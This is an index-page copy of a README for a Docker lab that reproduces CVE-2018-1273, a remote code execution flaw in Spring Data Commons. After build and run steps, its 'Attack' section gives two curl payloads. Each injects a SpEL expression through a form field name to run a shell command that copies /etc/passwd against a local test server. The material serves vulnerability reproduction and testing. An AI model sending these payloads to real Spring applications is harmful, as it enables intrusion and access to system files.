Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/knqyf263/cve-2018-1273

Environment for CVE-2018-1273 (Spring Data Commons)
https://github.com/knqyf263/cve-2018-1273

Last synced: about 1 month ago
JSON representation

Environment for CVE-2018-1273 (Spring Data Commons)

Awesome Lists containing this project

README

        

# CVE-2018-1273
Environment for CVE-2018-1273

CVE-2018-1273: RCE with Spring Data Commons
https://pivotal.io/security/cve-2018-1273

## Application
https://github.com/spring-projects/spring-data-examples/tree/master/web/example

## Build
```
$ docker build -t cve-2018-1273 .
```

## Run
```
$ docker run -d -p 8080:8080 cve-2018-1273
```

## Web
http://localhost:8080/users/

## Attack
```
$ curl -v -d 'username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("cp /etc/passwd /tmp")]=test' 'http://localhost:8080/users/'
```

or

```
$ curl -v -d 'username[T(java.lang.Runtime).getRuntime().exec("cp+/etc/passwd+/tmp")]=test' 'http://localhost:8080/users/'
```